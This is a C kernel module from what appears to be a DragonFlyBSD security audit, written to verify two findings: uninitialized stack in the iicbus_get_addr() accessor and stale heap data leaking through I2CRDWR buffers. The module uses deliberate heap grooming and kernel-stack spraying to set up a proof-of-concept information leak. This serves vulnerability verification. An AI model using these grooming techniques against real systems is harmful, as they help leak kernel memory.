⬢ DragonFlyBSD Kernel Audit
DF-5559 / groom5558.c
← back to finding ↓ download raw
/*
 * groom5558.c -- DF-5558 / DF-5559 verification helper KLD.
 *
 * Loads on top of the DF-5539 family harness (fakebb0 -> real iicbb0 ->
 * real iicbus0) and provides sysctl-driven facilities:
 *
 *  1. df5558.groom_size (rw int), df5558.groom_run (wo int),
 *     df5558.groom_stats (ro int)
 *     Deterministic M_TEMP heap groom for DF-5558: kmalloc(groom_size)
 *     -- the SAME malloc type iic.c:360 uses for I2CRDWR read buffers,
 *     with NO M_ZERO -- fill it with an unambiguous marker
 *     ("DF5558STALEHEAP!" + sequence + kernel-realm pointer qwords),
 *     then kfree it.  The next same-size M_TEMP kmalloc on this CPU is
 *     expected to recycle the chunk (per-CPU objcache magazine).
 *
 *  2. df5558.readivar (ro: run)
 *     DF-5559 dispatch-level proof: calls BUS_READ_IVAR(iicbus0, child,
 *     IICBUS_IVAR_ADDR, &v) directly with v pre-set to 0x77777777 and
 *     prints the return code and whether v was written.  Expected:
 *     returns ENXIO (kobj_error_method via the missing-method default)
 *     and v is untouched -- i.e. the accessor's *result is never
 *     written by anyone in the iicbus ancestry.
 *
 *  3. df5558.getaddr_spray (wo int: 0xNN pattern)
 *     DF-5559 uninit-stack proof: two identical-shape deep() calls; the
 *     first (mode 0) sprays its whole frame with the pattern, the
 *     second (mode 1) calls the production inline accessor
 *     iicbus_get_addr() -- the exact code iic.c:115 runs at probe time.
 *     The accessor's uninitialized local 'v' lands on a stack address
 *     the first call filled with the pattern.  If the returned uint32
 *     equals the sprayed pattern, the accessor provably returns
 *     uninitialized kernel stack.
 */

#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/sysctl.h>
#include <sys/malloc.h>
#include <sys/types.h>
#include <sys/bus.h>

#include <bus/iicbus/iiconf.h>
#include <bus/iicbus/iicbus.h>

static int spray_sink;

static int	groom_size = 512;
static int	groom_count;

#define MARKER_MAGIC	"DF5558STALEHEAP!"

struct marker_hdr {
	char	magic[16];
	uint64_t seq;
	uint32_t size;
	uint32_t pad;
} __packed;

static void
fill_marker(char *p, int size, uint64_t seq)
{
	struct marker_hdr *h = (struct marker_hdr *)p;
	uint64_t *q = (uint64_t *)(p + sizeof(*h));
	int nq = (size - (int)sizeof(*h)) / 8;
	int i;

	memset(p, 0x5a, size);
	memcpy(h->magic, MARKER_MAGIC, sizeof(h->magic));
	h->seq = seq;
	h->size = (uint32_t)size;
	for (i = 0; i < nq; i++)
		q[i] = (i & 1) ? 0x5a5a5a5a5a5a5a5aULL
		    : (0xfffffe0000000000ULL | ((uint64_t)0x5558 << 32) | seq);
}

static int
sysctl_groom_run(SYSCTL_HANDLER_ARGS)
{
	int run = 0, error;
	char *p;

	error = sysctl_handle_int(oidp, &run, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);
	if (run) {
		if (groom_size < 16 || groom_size > 65536)
			return (EINVAL);
		p = kmalloc((size_t)groom_size, M_TEMP, M_WAITOK);
		if (p == NULL)
			return (ENOMEM);
		fill_marker(p, groom_size, (uint64_t)++groom_count);
		kfree(p, M_TEMP);
	}
	return (0);
}

SYSCTL_NODE(, OID_AUTO, df5558, CTLFLAG_RW, 0, "DF-5558 harness");

SYSCTL_INT(_df5558, OID_AUTO, groom_size, CTLFLAG_RW, &groom_size, 0,
    "size of the marker chunk groomed into M_TEMP");
SYSCTL_PROC(_df5558, OID_AUTO, groom_run, CTLTYPE_INT | CTLFLAG_WR,
    0, 0, sysctl_groom_run, "I", "run one kmalloc+fill+kfree M_TEMP groom");
SYSCTL_INT(_df5558, OID_AUTO, groom_stats, CTLFLAG_RD, &groom_count, 0,
    "grooms performed so far");

/* ------------------------------------------------------------------ */
/* locate iicbus0's "iic" child (the device iic_probe() runs on)       */
/* ------------------------------------------------------------------ */

static device_t
find_iic_child(void)
{
	devclass_t dc;
	device_t bus, pick, *ch;
	int error, nch, i;

	dc = devclass_find("iicbus");
	if (dc == NULL)
		return (NULL);
	bus = devclass_get_device(dc, 0);
	if (bus == NULL)
		return (NULL);
	error = device_get_children(bus, &ch, &nch);
	if (error)
		return (NULL);
	pick = NULL;
	for (i = 0; i < nch; i++) {
		kprintf("[df5558]   iicbus0 child %d: name=%s unit=%d\n",
		    i, device_get_name(ch[i]), device_get_unit(ch[i]));
		if (pick == NULL)
			pick = ch[i];
		if (strcmp(device_get_name(ch[i]), "iic") == 0)
			pick = ch[i];
	}
	kfree(ch, M_TEMP);
	return (pick);
}

/* ------------------------------------------------------------------ */
/* DF-5559: readivar dispatch proof                                    */
/* ------------------------------------------------------------------ */

static int
sysctl_readivar(SYSCTL_HANDLER_ARGS)
{
	int run = 0, error;
	uintptr_t v;
	device_t child, bus;
	devclass_t dc;

	error = sysctl_handle_int(oidp, &run, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);
	if (!run)
		return (0);

	dc = devclass_find("iicbus");
	bus = dc ? devclass_get_device(dc, 0) : NULL;
	child = find_iic_child();
	if (bus == NULL || child == NULL) {
		kprintf("[df5558] readivar: no iicbus0/iic child\n");
		return (ENOENT);
	}

	v = 0x77777777;
	error = BUS_READ_IVAR(bus, child, IICBUS_IVAR_ADDR, &v);
	kprintf("[df5558] readivar: BUS_READ_IVAR error=%d (ENXIO=%d) "
	    "v=0x%jx %s\n", error, ENXIO, (uintmax_t)v,
	    v == 0x77777777 ? "(UNTOUCHED -- nobody writes *result)" :
	    "(written)");
	return (0);
}

SYSCTL_PROC(_df5558, OID_AUTO, readivar, CTLTYPE_INT | CTLFLAG_WR,
    0, 0, sysctl_readivar, "I", "BUS_READ_IVAR dispatch proof");

/* ------------------------------------------------------------------ */
/* DF-5559: uninit-stack proof                                         */
/*   sprayA(): big frame uniformly filled with the pattern             */
/*   wrapB()/shimC(): small frames that land inside sprayA's region    */
/* ------------------------------------------------------------------ */

static void
sprayA(uint32_t pat)
{
	volatile uint32_t pad[160];
	int i;

	for (i = 0; i < 160; i++)
		pad[i] = pat;
	spray_sink += pad[7];
}

static uint32_t __noinline
wrapB(device_t child)
{
	/* production inline accessor compiled into this tiny frame */
	return (iicbus_get_addr(child));
}

static uint32_t __noinline
shimC(uint32_t pat, device_t child)
{
	volatile uint32_t pad[12];
	int i;

	for (i = 0; i < 12; i++)
		pad[i] = pat;
	spray_sink += pad[3];
	return (wrapB(child));
}

static int
sysctl_getaddr_spray(SYSCTL_HANDLER_ARGS)
{
	int pat_in = 0, error;
	uint32_t pat, out1, out2;
	device_t child;

	error = sysctl_handle_int(oidp, &pat_in, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);
	if (pat_in == 0)
		return (0);
	pat = (uint32_t)pat_in;

	child = find_iic_child();
	if (child == NULL) {
		kprintf("[df5558] getaddr_spray: no iicbus0 child found\n");
		return (ENOENT);
	}

	out1 = out2 = 0xdeadbeef;
	sprayA(pat);
	out1 = wrapB(child);
	sprayA(pat);
	out2 = shimC(pat, child);
	kprintf("[df5558] getaddr_spray: pattern=0x%08x wrapB=0x%08x%s "
	    "shimC=0x%08x%s\n", pat, out1,
	    out1 == pat ? " <== PATTERN (uninit kstack)" : "",
	    out2, out2 == pat ? " <== PATTERN (uninit kstack)" : "");
	return (0);
}

SYSCTL_PROC(_df5558, OID_AUTO, getaddr_spray, CTLTYPE_INT | CTLFLAG_WR,
    0, 0, sysctl_getaddr_spray, "I",
    "spray kstack then call production iicbus_get_addr() inline");

/* ------------------------------------------------------------------ */
/* DF-5558 setup: re-probe the iic child from a zeroed-stack context   */
/* (stock modules; works around the DF-5559 probe coin-flip so the    */
/* production /dev/iic0 exists for the leak PoC)                      */
/* ------------------------------------------------------------------ */

static void
zero_deep(int depth)
{
	volatile uint32_t pad[44];
	int i;

	for (i = 0; i < 44; i++)
		pad[i] = 0;
	if (depth > 0)
		zero_deep(depth - 1);
	spray_sink += pad[depth % 44];
}

static int
sysctl_attachiic(SYSCTL_HANDLER_ARGS)
{
	int run = 0, error, i;
	device_t child;

	error = sysctl_handle_int(oidp, &run, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);
	if (!run)
		return (0);

	child = find_iic_child();
	if (child == NULL) {
		kprintf("[df5558] attachiic: no iic child on iicbus0\n");
		return (ENOENT);
	}

	/*
	 * Re-probe from this (controlled) context.  iic_probe()'s frame --
	 * and with it the uninitialized 'v' slot of the inlined
	 * iicbus_get_addr() -- lands in stack freshly zeroed by zero_deep,
	 * i.e. the "lucky boot" case of the DF-5559 coin flip.
	 */
	for (i = 0; i < 6; i++) {
		zero_deep(24);
		error = device_probe_and_attach(child);
		kprintf("[df5558] attachiic try %d: "
		    "device_probe_and_attach error=%d\n", i, error);
		if (error == 0)
			break;
	}
	return (0);
}

SYSCTL_PROC(_df5558, OID_AUTO, attachiic, CTLTYPE_INT | CTLFLAG_WR,
    0, 0, sysctl_attachiic, "I",
    "re-probe the iic child from a zeroed-stack context");

static int
groom5558_load(struct module *m, int what, void *arg)
{
	switch (what) {
	case MOD_LOAD:
		kprintf("[df5558] groom5558 loaded (sink=%d)\n", spray_sink);
		break;
	case MOD_UNLOAD:
		kprintf("[df5558] groom5558 unloaded (grooms=%d)\n",
		    groom_count);
		break;
	}
	return (0);
}

static moduledata_t groom5558_mod = {
	"groom5558",
	groom5558_load,
	NULL
};

DECLARE_MODULE(groom5558, groom5558_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
MODULE_DEPEND(groom5558, iicbus, IICBUS_MINVER, IICBUS_PREFVER, IICBUS_MAXVER);